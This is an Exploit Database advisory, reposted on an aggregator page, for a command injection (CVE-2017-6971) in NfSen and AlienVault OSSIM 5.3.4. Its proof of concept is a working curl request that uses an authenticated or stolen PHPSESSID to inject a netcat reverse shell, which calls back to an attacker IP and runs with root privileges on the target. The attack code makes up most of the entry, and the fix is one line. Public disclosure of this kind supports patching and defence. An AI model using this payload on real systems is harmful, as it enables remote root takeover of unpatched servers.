NfSen < 1.3.7 / AlienVault OSSIM 5.3.4 - Command Injection

• Exploit Database
• 36 阅读

• 作者： Paul Taylor
  日期： 2017-07-10
• 类别：

  • webapps
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42306/

• # Exploit Title: NfSen/AlienVault remote root exploit (IPC query command injection)
  # Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
  # Version: AlienVault 5.3.4
  # Date: 2017-07-10
  # Vendor Homepage: http://nfsen.sourceforge.net/
  # Vendor Homepage: http://www.alienvault.com/
  # Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
  # Exploit Author: Paul Taylor / Foregenix Ltd
  # Website: http://www.foregenix.com/blog
  # Tested on: AlienVault USM 5.3.4
  # CVE: CVE-2017-6971
  1. Description
  
  A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.
  
  2. Proof of Concept
  # From a linux bash prompt on the attacker's machine:
  
  # Set target IP
  targetip='10.100.1.1'
  
  # Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One):
  cmd='nc -ne /bin/bash 10.100.1.2 443';
  
  # Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI.
  PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7';
  
  # Next use curl to send the exploit
  curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php
  
  3. Solution:
  
  Update to latest version of NfSen/USM/OSSIM